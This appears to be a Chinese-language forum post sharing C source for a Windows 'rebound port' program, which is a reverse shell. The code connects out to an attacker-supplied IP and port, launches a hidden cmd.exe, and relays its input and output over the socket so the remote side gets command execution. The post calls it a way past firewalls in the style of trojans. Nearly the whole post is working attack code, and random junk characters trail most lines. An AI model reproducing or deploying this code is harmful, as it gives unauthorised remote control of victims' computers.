这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &]TniQH
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/* ============================== \l/(L5gY
Rebound port in Windows NT d:'{h"M6
By wind,2006/7 *$A`+D9
===============================*/ hkPMu@BI
#include hi(b\ABx
#include 5iw\F!op:
#(tdJ<HvC|
#pragma comment(lib,"wsock32.lib") z4YDngf=4
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void OutputShell(); /4;mjE
SOCKET sClient; y6$a:6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; JG;}UuHYM
-b!?9T?}
void main(int argc,char **argv) RvR.t"8
{ #N][-i
WSADATA stWsaData; #6M |T+=
int nRet; 5Ew( 0K[
SOCKADDR_IN stSaiClient,stSaiServer; 6 wN*d 5
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if(argc != 3) n/v.U,f&l@
{ cxR.:LD}
printf("Useage:\n\rRebound DestIP DestPort\n"); .rBU"Rbo
return; 0Z2XVq~T$
} ep8UWxB5
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,a>Dv@$Y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;pm/nu
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stSaiClient.sin_family = AF_INET; N:B<5l '
stSaiClient.sin_port = htons(0); t^&hG7L_m,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l;q]z
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &J/EBmY[
{ dQ*^WNUB
printf("Bind Socket Failed!\n"); .5\@G b.8
return; X+Sqw5rH
} >,,`7%Rv
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stSaiServer.sin_family = AF_INET; |Ua);B ~F
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _)j\
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); JL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s17)zi,?4
{ r`-8+"P
printf("Connect Error!"); +s<6eHpm
return; 6"_pCkn;c<
} 1L`V{\_0s
OutputShell();
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} 6D| F1UFU
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void OutputShell() 2|"D\N
{ w<~[ad}
char szBuff[1024]; <zpxodM@T
SECURITY_ATTRIBUTES stSecurityAttributes; &j~9{ C
OSVERSIONINFO stOsversionInfo; f@`|2wG
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /SJ><
STARTUPINFO stStartupInfo; N4x5!00
char *szShell; .$s']' =
PROCESS_INFORMATION stProcessInformation; A,&711Y
unsigned long lBytesRead; [.&JQ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); COsy.$|4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $%$zZJ@/
stSecurityAttributes.lpSecurityDescriptor = 0; ;39b.v\^
stSecurityAttributes.bInheritHandle = TRUE; 0xZ^ f}@L
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^/2HH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gdCit-3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }bRn&)e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ITl>HlS
stStartupInfo.wShowWindow = SW_HIDE; p9jC-&:
stStartupInfo.hStdInput = hReadPipe; (Q*x"G#4>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V0D&bN*
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GetVersionEx(&stOsversionInfo); @_t=0Rc
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switch(stOsversionInfo.dwPlatformId) Zrwd
{ jv v=
case 1: wdt2T8`I/
szShell = "command.com"; $hc=H
break; &bq1n_
default: i\;ZEM{
szShell = "cmd.exe"; Y'000#+
break; j|8!gW
} $S' TW3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); 8D>5(Dg-
while(1) iz^a Qx/
{ -J=6)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r]-n,
if(lBytesRead) Ae=JG8Ht~
{ IG|u;PH<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <V)z{uK
send(sClient,szBuff,lBytesRead,0); NA$)qX_
} u`wD6&y*
else QDj%m %Xd
{ c|3oa"6T>
lBytesRead=recv(sClient,szBuff,1024,0); iOIq2&sV
if(lBytesRead<=0) break; 4<tbZP3/6)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rRe^7xGe7
} s[a\m,
} G0m$bi=z
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return; <BT18u\
}